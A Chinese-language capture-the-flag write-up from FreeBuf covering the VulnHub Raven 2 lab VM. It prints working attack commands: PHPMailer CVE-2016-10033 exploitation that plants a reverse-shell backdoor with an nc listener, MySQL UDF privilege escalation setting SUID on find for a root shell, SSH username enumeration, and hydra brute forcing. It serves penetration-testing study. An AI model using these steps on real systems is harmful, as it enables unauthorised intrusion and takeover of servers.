freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

VulnHub-Raven: 2 靶场渗透测试
2021-01-17 15:54:15

作者:ch4nge
时间:2021.1.17

靶场信息:
地址:https://www.vulnhub.com/entry/raven-2,269/
发布日期:2018年11月9日
目标:得到root权限并且找到4个flag
难度:中级
运行:VirtualBox(网络桥接)
描述:Raven 2 is an intermediate level boot2root VM. There are four flags to capture. After multiple breaches, Raven Security has taken extra steps to harden their web server to prevent hackers from getting in. Can you still breach Raven?

前言

本次靶场使用VirtualBox进行搭建运行,通过kali系统进行渗透测试,步骤按照渗透测试的过程进行。这个靶场对我来说比较困难,中间参考了一些师傅的wp。刚开始我忽略了phpmailer漏洞,我想着wordpress有已知版本漏洞  如果要利用需要登录后台,那我就要搞到用户名密码,所以我直接进入了枚举用户名爆破密码的途径。到后面回过头来发现phpmailer漏洞才知道自己这个思路不对,而raven 1靶场是这个思路的、、我也没做过raven1呀 害~在利用phpmailer漏洞的时候也遇到一些小问题,好曲折呀,详情请观看具体内容。文章有不对的地方欢迎各位师傅指正

一、信息搜集

1. 获取靶机ip

使用nmap获取目标ip地址为192.168.31.43,使用grep过滤

nmap -sP 192.168.31.0/24 | grep -B 2 -A 0 "VirtualBox"

1610459883_5ffdaaebb96d683d8dd58.png!small?1610459883218

2. 扫描开启的端口和服务

nmap -sS -sV -T5 -A -p- 192.168.31.43

1610459933_5ffdab1d47ae3d6cdb79b.png!small?1610459932786

获得四个端口信息

PORT       STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)

80/tcp    open  http    Apache httpd 2.4.10 ((Debian))

111/tcp open  rpcbind 2-4 (RPC #100000)

36274/tcp open   status  1 (RPC #100024)

3.网站信息搜集

3.1 访问ip

1610460175_5ffdac0fb20c89ec7d516.png!small

点击BLOG的时候跳转到了wordpress的一个站点,点击内容查看的时候报错了

1610460479_5ffdad3f679135ed3ea82.png!small?1610460478757

细心一点可以发现这是域名解析的问题,url由我们输入的ip地址变成了raven.local,我们需要做的是配置电脑的hosts文件,使域名解析到192.168.31.43

3.2 添加hosts文件项

具体做法如下,中间使用tab

192.168.31.43   raven.local

1610460645_5ffdade5e7ded6d041404.png!small?1610460645432

现在访问就正常了1610460801_5ffdae81ace15097e9194.png!small?1610460801985

3.3 扫描一下http://raven.local/目录

1610512810_5ffe79aaeadf9b85f61f4.png!small?1610512810451

扫描结果出来好多!开心

主要分为三个web信息目录

http://raven.local/vendor/

http://raven.local/wordpress/

http://raven.local/manual/

3.4 http://raven.local/vendor/信息

1610514819_5ffe8183e68ec0053f7cb.png!small?1610514819502

3.4.1. flag1

http://raven.local/vendor/PATH

/var/www/html/vendor/
flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}

md5解密结果是Raven2Flag1

1610512897_5ffe7a01978226a28e67c.png!small?1610512897066

3.4.2. PHPmailer邮件及版本

刚看到这个的时候不知道是什么,就搜了一波 wordpress PHPmailer

1610626228_600034b4f3771ca3cd21e.png!small?1610626228994

http://raven.local/vendor/README.md

http://raven.local/vendor/VERSION

浏览/VERSION页面发现版本号5.2.16,可以得出

  • PHPmailer 5.2.16

3.5 http://raven.local/wordpress/信息

1610514922_5ffe81ea2a76de0810107.png!small?1610514924909

3.5.1. 使用Wappalyzer信息搜集插件

1610461007_5ffdaf4fc8b9b4a7258e7.png!small?1610461007248

3.5.2. 获取到信息

CMS:WordPress 4.8.7

web服务器:Apache 2.4.10

数据库:MySQL

3.5.3. 使用dirb扫描目录

dirb http://raven.local/wordpress/

1610509277_5ffe6bdde4a1a9c63ce1f.png!small?1610509277614

3.5.4. 找到flag3

打开http://raven.local/wordpress/wp-content/uploads/

1610509340_5ffe6c1cac9b3d5b4b221.png!small?1610509340149

http://raven.local/wordpress/wp-content/uploads/2018/11/flag3.png

1610509386_5ffe6c4a2f1eefb707d24.png!small?1610509385653

看起来是一串md5加密的字符,在线解密

得到Raven2Flag3

到这里我猜flag2就是md5(Raven2Flag2),flag4就是md5(Raven2Flag4)~嘿嘿

3.6 http://raven.local/manual/信息

1610514980_5ffe8224447779b12cb67.png!small?1610514980097

3.6.1. Apache版本信息

  • Apache HTTP Server Version 2.4 Documentation

3.7 搜集到的信息整理

IP:     192.168.31.43
端口: 22 80 111 36274
域名: raven.local
--------------------------------------------------------------------------------------------
路径: http://raven.local/vendor/ http://raven.local/wordpress/ http://raven.local/manual/
--------------------------------------------------------------------------------------------
邮件: PHPmailer 5.2.16
cms: WordPress 4.8.7
数据库: MySQL

web服务器:Apache 2.4.10

--------------------------------------------------------------------------------------------

flag

flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}
flag3{a0f568aa9de277887f37730d71520d9b}

二、漏洞探测

1. 搜索PHPmailer 5.2.16是否存在漏洞

1610626330_6000351a15180b1bea6ac.png!small?1610626330199

找到了CVE漏洞编号和漏洞介绍,继续查找/vendor下文件中是否有可用信息

在PATH中找到网站路径,可以得到网站绝对路径/var/www/html

/var/www/html/vendor/

2. CVE-2016-10033远程代码执行漏洞

漏洞分析

在网上查找了一下漏洞的利用方式,可以使用metasploit的漏洞模块,也可以直接下载exploit库中的POC进行利用。

漏洞利用需要的信息:

靶机ip、靶机端口、网站绝对路径、邮件发送页面

现在就差邮件发送的页面了,查找一下dirb扫描的结果没有,使用大字典扫描路径,并指定语言为php

dirb http://raven.local/ -X .php /usr/share/wordlists/dirb/big.txt

找到啦http://raven.local/contact.php

1610627605_60003a1514e1ad8686b9a.png!small?1610627605047

打开页面是这样的

1610627680_60003a609f97cbc67b4df.png!small?1610627680580

说明:网站绝对路径是http://raven.local所在路径,就是/var/www/html,这样生成的xxx.php文件我们才可以通过http://raven.local/xxx.php进行访问运行

靶机ip:192.168.31.43

靶机端口:80

网站绝对路径:/var/www/html

邮件功能页面:/contact.php

这样漏洞利用所需信息就齐全了

3. wordpress网站漏洞探测

在网上查阅关于wordpress4.8.7版本可使用的漏洞,找到了几个,但是需要登录后台之后才能利用,而我连用户名都不知道是什么!

转移视线,记得刚开始的时候我使用nmap扫描到22端口是开启状态,并且得到版本号OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0),所以我搜索此版本存在的漏洞,发现了用户名枚举的漏洞

三、漏洞利用

1. phpmailerCVE-2016-10033远程代码执行漏洞利用

漏洞利用过程说明

一、metasploit
1. 先配置信息,具体信息如下
set RHOSTS 192.168.31.43
set TARGETURI /contact.php
set WEB_ROOT /var/www/html
2. run,运行
运行后会在/var/www/html/路径写入一个xxx.php文件,文件内容的作用是反弹shell,文件名是随机的
3. 把文件名复制到浏览器进行访问
http://raven.local/xxx.php
4. 等待几分钟就能得到shell,www权限。
注:【我的电脑操作可以,但是我不确定是否所有人都可以】如果觉得等待时间长可以按Ctrl+C停止等待,使用sessions查看会话可以看到已经生成的sessions,使用sessions 1进入。
二、exploit POC
1. 使用漏洞POC需要先修改POC脚本中的配置信息,和metasploit差不多
把url换成http://raven.local/contact.php
把反弹shell语句中的ip改为自己kali系统的ip,端口8888
把写入后门的路径修改为/var/www/html
写入后门文件的文件名字母数字组合随便写 2. 监听本地端口
nc -lvp 8888 3. 运行POC脚本后会在/var/www/html/路径写入一个xxx.php文件,文件内容的作用是反弹shell,文件名是自己定义(或默认)的。 4. 访问这个xxx.php文件,使得此文件运行,从而反弹shell到本地。
http://raven.local/xxx.php

1. 反弹shell方法1 使用metasploit利用漏洞

搜索phpmailer发现两个漏洞利用模块

1610626866_600037321964a62ef2848.png!small?1610626866015

使用info id查看漏洞的适用版本,发现第0个适用(适用于5.2.19及以下版本phpmailer)

1610626907_6000375b20dfbb94b6aa1.png!small?1610626907056

(1) 配置参数

set RHOSTS 192.168.31.43
set TARGETURI /contact.php
set WEB_ROOT /var/www/html

1610634131_600053939c5d7ac5337db.png!small?1610634131556

(2) run,运行
运行后会在/var/www/html/路径写入一个xxx.php文件,文件内容的作用是反弹shell,文件名是随机的

这里是/vE6wL33Q.php

1610634455_600054d74ef77c9689626.png!small?1610634455161
(3) 把文件名复制到浏览器进行访问

http://raven.local//vE6wL33Q.php

访问之后下面metasploit会有动态显示【连接、删除后门】

1610634491_600054fb6f56ca1e28c22.png!small?1610634491652
(4) 等待一会得到服务器shell,www权限

可以看到当前shell所在位置是/var/www/html/,并且此目录里面没有后门文件(已经自动删除)

内核版本

Linux MiWiFi-R3A-srv 3.16.0-6-amd64 #1 SMP Debian 3.16.57-2 (2018-07-14) x86_64

1610634874_6000567ab717ff07e0aed.png!small?1610634874533

使用python获得完整性shell

python -c 'import pty; pty.spawn("/bin/bash")'

1610640426_60006c2a81facfbc024e6.png!small?1610640426365

在/var/www/目录找到flag2.txt

flag2{6a8ed560f0b5358ecf844108048eb337}

使用find查找flag文件

www-data@Raven:/var/www$ find ./ -name "flag*"

找到flag2和flag3,flag3在前面扫描目录的时候已经找到了

1610682511_6001108f9f8c8f5b1412d.png!small?1610682511939

没有在网上找到可以利用的内核提权脚本,这里继续进行信息搜集

在/var/www/html/wordpress/wp-config.php中发现mysql数据库密码

root:R@v3nSecurity

1610690332_60012f1c097b5e5dd4cb4.png!small?1610690332583

登录mysql服务,进行信息搜集

1610690375_60012f477428e1d129ae1.png!small?1610690375741

1610690441_60012f897f6b908c212a3.png!small?1610690441888

1610690568_60013008e859e914a4c93.png!small?1610690569405

版本:mysql 5.5.60-0+deb8u1

数据库:wordpress

用户名:

michael $P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0

steven $P$B6X3H3ykawf2oHuPsbjQiih5iJXqad.

查看mysql的运行权限

ps -aux|grep mysql

1610866966_6003e116b9cc6fa60103e.png!small?1610866967077

MySQL以root的身份运行,可以通过mysql提权

2. 反弹shell方法二 使用exploit漏洞库中的POC

searchsploit phpmailer

1610858150_6003bea64d36240decaf9.png!small?1610858150558

先使用python的脚本测试,拷贝过来

cp /usr/share/exploitdb/exploits/php/webapps/40974.py ./

  • 先修改POC脚本中的配置信息,和metasploit差不多

  • 把url换成http://raven.local/contact.php

  • 把反弹shell语句中的ip改为自己kali系统的ip,端口8888

  • 把写入后门的路径修改为/var/www/html

  • 写入后门文件的文件名字母数字组合随便写

1610861331_6003cb130240c3af34c63.png!small?1610861331209

保存一下就可以啦

然后监听本地端口
nc -lvp 4444

1610860710_6003c8a68fbe32c8fac20.png!small?1610860710743

运行POC脚本(python3 40974.py)后会在/var/www/html/路径写入一个ch4nge.php文件,文件内容的作用是反弹shell,文件名是自己定义(或默认)的。

1610861676_6003cc6c790e8b84ab611.png!small?1610861676708

访问这个ch4nge.php文件,使得此文件运行,从而反弹shell到本地。
http://192.168.31.43/ch4nge.php

1610861617_6003cc3149da8e12330b5.png!small?1610861617535

升级交互式shell

python -c 'import pty; pty.spawn("/bin/bash")'

升级完整性交互式shell

这里升级可以上下键、tab的shell失败,在执行完fg后不能输入换行执行,,,那就不升级了

1610862517_6003cfb50f46a26311e24.png!small?1610862517328

四、提权-mysql udf

开搞!

1. 提权操作参考

因为mysql版本>=5.1,所以必须把 UDF 的动态链接库.so文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。

2. 查看插件所在路径

/usr/lib/mysql/plugin/

show variables like '%plugin%';

1610714092_60018becf19cec9dfb217.png!small?1610714092854

3.  使用metasploit自带的动态链接库

说明:这里也可以使用exploit中的poc脚本进行生成,脚本链接是,也可以直接在kali里面搜索这个POC

searchsploit 1518

1610868311_6003e657c64a7cc48f5e5.png!small?1610868311934

编译生成so文件

gcc -g -shared -Wl,-soname,udf.so -o udf.so 1518.c -lc
-g 生成调试信息
-shared 创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件

-Wl选项告诉编译器将后面的参数传递给链接器。

-soname则指定了动态库的soname(简单共享名,Short for shared object name)

soname的关键功能是它提供了兼容性的标准:

当要升级系统中的一个库时,并且新库的soname和老库的soname一样,用旧库链接生成的程序使用新库依然能正常运行。这个特性使得在Linux下,升级使得共享库的程序和定位错误变得十分容易。-o 生成的文件
-lc -l 库 c库名

注意:mysql的动态链接库是加密过的,需要解密才能使用。搜索一下metasploit动态链接库文件在哪里

⚡ root@ch4nge> locate metasploit-framework|grep data/exploits/mysql
/usr/share/metasploit-framework/data/exploits/mysql
/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_32.dll
/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_32.so
/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.dll
/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.so

这里要使用lib_mysqludf_sys_64.so

4. 下载动态链接库到靶机

拷贝到桌面,使用python搭建http服务,使用shell下载到靶机

1610864810_6003d8aa1ade40f2eea00.png!small?1610864810208

1610864819_6003d8b3f1d5c4c344173.png!small?1610864820154

5. 执行sql语句

进入mysql数据库

use mysql;

创建数据表myfunc

create table myfunc(line blob);

1610866082_6003dda2029815c3b6833.png!small?1610866082152

插入load_file读取的lib_mysqludf_sys_64.so‘’二进制‘’数据

insert into myfunc values(load_file('/var/www/html/lib_mysqludf_sys_64.so'));

1610866095_6003ddaf13d4cd643147d.png!small?1610866095299

使用dumpfile函数把文件导出

  • outfile 多行导出,dumpfile一行导出

  • outfile会有特殊的转换,而dumpfile是原数据导出

select * from myfunc into dumpfile '/usr/lib/mysql/plugin/lib_mysqludf_sys_64.so';

1610866151_6003dde7b3b135980061b.png!small?1610866151986

创建自定义函数do_system 类型是integer,别名(soname)文件名字

create function do_system returns integer soname 'lib_mysqludf_sys_64.so';

1610866177_6003de01e8818967d6cf4.png!small?1610866178033

报错了,提示do_system函数不存在

ERROR 1305 (42000): FUNCTION mysql.do_system does not exist

换一个,使用sys_exec 函数

create function sys_exec returns integer soname 'lib_mysqludf_sys_64.so';

1610866306_6003de82610319f950cb7.png!small?1610866306539

查询一下添加的函数

select * from mysql.func;

1610866356_6003deb4ec7ed2bd988a5.png!small?1610866357270

利用自定义函数改变find命令权限

select sys_exec('chmod u+s /usr/bin/find');

1610866394_6003deda615ec5bd1a9d3.png!small?1610866394545

6. 使用find命令提权

退出数据库,新建一个文件hello,使用find命令查找这个文件,并使用find命令执行shell命令

find执行shell命令后,可以看到已经提升到root权限了,读取flag文件

find hello -exec "/bin/sh" \;

1610866614_6003dfb6a7fe0b5ebde77.png!small?1610866614860

1610866702_6003e00e63b4b22db924b.png!small?1610866702510

7. flag4

flag4{df2bc5e951d91581467bb9a2a8ff4425}

后面的事

因为之前先发现的openssh用户名枚举漏洞,所以就先利用的这个漏洞,但是只得到一个用户名,后面没有爆破到密码,没有利用漏洞了。这里也写出来漏洞利用的过程和方法

1. openssh漏洞利用

使用OpenSSH的CVE-2018-15473漏洞进行用户名枚举

CVE-2018-15473漏洞利用参考

CVE-2018-15473漏洞解析参考

可以通过expPOC或者Metasploit的scanner/ssh/ssh_enumusers模块枚举到SSH用户

但是首先我们要做的事情是根据网站的内容生成一个用户名字典,我这里使用cewl

cewl http://raven.local/wordpress/  -w dic.txt 

方法1. 使用exp POC进行用户名枚举

下载POC文件:https://github.com/Rhynorater/CVE-2018-15473-Exploit

使用环境:python2 or python3

安装依赖库

pip3 install -r requirements.txt

运行命令

python3 sshUsernameEnumExploit.py --port your-ssh-port --userList username.txt your-ip

但是我遇到了错误

1610502949_5ffe5325ab8b8a53b0260.png!small?1610502949228

Traceback (most recent call last):
  File "/root/file/CVE-2018-15473-Exploit/sshUsernameEnumExploit.py", line 33, in <module>
    old_parse_service_accept = paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_SERVICE_ACCEPT]
TypeError: 'property' object is not subscriptable

通过搜索发现它是paramiko更新问题

pip3 install --upgrade paramiko==2.4.1对我来说是有用的

再次执行

python3 sshUsernameEnumExploit.py --port 22 --userList dic.txt  192.168.1.196

得到一个用户名

1610503382_5ffe54d6c88710150a116.png!small?1610503382516

1610503393_5ffe54e142871a87ed49f.png!small?1610503392822

方法2. 使用Metasploit的scanner/ssh/ssh_enumusers模块进行用户名枚举

显然msf要好用一点,因为在用户名正确的时候会有颜色差异提示~哈哈

1610503605_5ffe55b58706275b03437.png!small?1610503605126

1610503615_5ffe55bf40b6f72a91007.png!small?1610503614859

得到了用户名

  • michael

2. 使用hydra爆破michael用户的密码

hydra -l michael -P /usr/share/wordlists/fasttrack.txt -v -t 10 ssh://192.168.1.196:22

换了几个字典都没有爆破出来ssh的密码

总结

这次靶场比较困难,中间走了一些弯路。但是学到的东西也很多,比如ssh用户名枚举,phpmailer漏洞,udf提权,漏洞利用的过程中遇到的一些错误和问题。继续加油!

# 渗透测试 # 漏洞复现 # vulnhub靶机
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录